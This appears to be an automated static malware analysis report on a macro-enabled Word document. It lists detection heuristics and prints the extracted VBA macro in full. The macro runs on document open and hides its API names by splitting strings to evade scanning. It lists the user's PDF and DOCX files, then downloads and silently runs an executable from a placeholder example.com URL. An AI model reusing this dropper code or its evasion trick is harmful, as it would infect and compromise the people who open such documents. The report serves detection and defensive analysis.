Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 ecbf74220d2db3bc…

MALICIOUS

Office (OOXML) / .DOCX

18.3 KB Created: 2026-05-08 15:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-11
MD5: 463a7e19d7ad8a09100379e382aea931 SHA-1: 40f3de4b80b1a9b834bfd77ce68bdec8389cc828 SHA-256: ecbf74220d2db3bc46d419bfe419786d832cf6eb4dabcb08cad04955dec86900
230 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            stream.Write http.ResponseBody
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
        ' Execution: Run a command using WScript.Shell
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set WshShell = CreateObject("WSc" & "ript.Sh" & "ell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.microsoft.com/office/2019/extlstReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2023/wordml/word16duReferenced by macro
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashReferenced by macro
    • http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2155 bytes
SHA-256: cf7f78b5a68cc275e96f6a9f4abe71cab18eb294fc9e84f4b19eb425b539552b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Dim WshShell As Object
    Dim documentsPath As String
    Dim fso As Object
    Dim folder As Object
    Dim file As Object
    Dim http As Object
    Dim stream As Object
    Dim payloadURL As String
    Dim payloadPath As String
    
    ' Execution: Run a command using WScript.Shell
    Set WshShell = CreateObject("WSc" & "ript.Sh" & "ell")
    WshShell.Run "c" & "md.e" & "xe /c e" & "cho I" & "nitial c" & "ommand e" & "xecution", 0, True
    
    ' Discovery: Search for .pdf and .docx files in the Documents folder
    documentsPath = WshShell.SpecialFolders("M" & "yDocu" & "ments")
    Set fso = CreateObject("Sc" & "ripting.Fi" & "leSystemOb" & "ject")
    Set folder = fso.GetFolder(documentsPath)
    
    For Each file In folder.Files
        If LCase(fso.GetExtensionName(file.Name)) = "p" & "df" Or LCase(fso.GetExtensionName(file.Name)) = "d" & "ocx" Then
            ' Perform actions on discovered files (e.g., log, exfiltrate metadata)
            WshShell.Run "c" & "md.e" & "xe /c e" & "cho D" & "iscovered f" & "ile: " & file.Name, 0, True
        End If
    Next file
    
    ' Command and Control (C2): Download the payload
    payloadURL = "h" & "ttp://" & "exa" & "mple.c" & "om/p" & "aylo" & "ad.e" & "xe"
    payloadPath = documentsPath & "\" & "p" & "aylo" & "ad.e" & "xe"
    
    Set http = CreateObject("MSX" & "ML2.XM" & "LHTTP")
    http.Open "G" & "ET", payloadURL, False
    http.Send
    
    If http.Status = 200 Then
        Set stream = CreateObject("AD" & "ODB.S" & "tream")
        stream.Type = 1
        stream.Open
        stream.Write http.ResponseBody
        stream.SaveToFile payloadPath, 2
        stream.Close
        
        ' Installation: Execute the downloaded payload
        WshShell.Run payloadPath, 0, True
    End If
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11264 bytes
SHA-256: 49b90459b6462e8050f1f3c4f878691de733661c2bf08d15d54d2321e5695103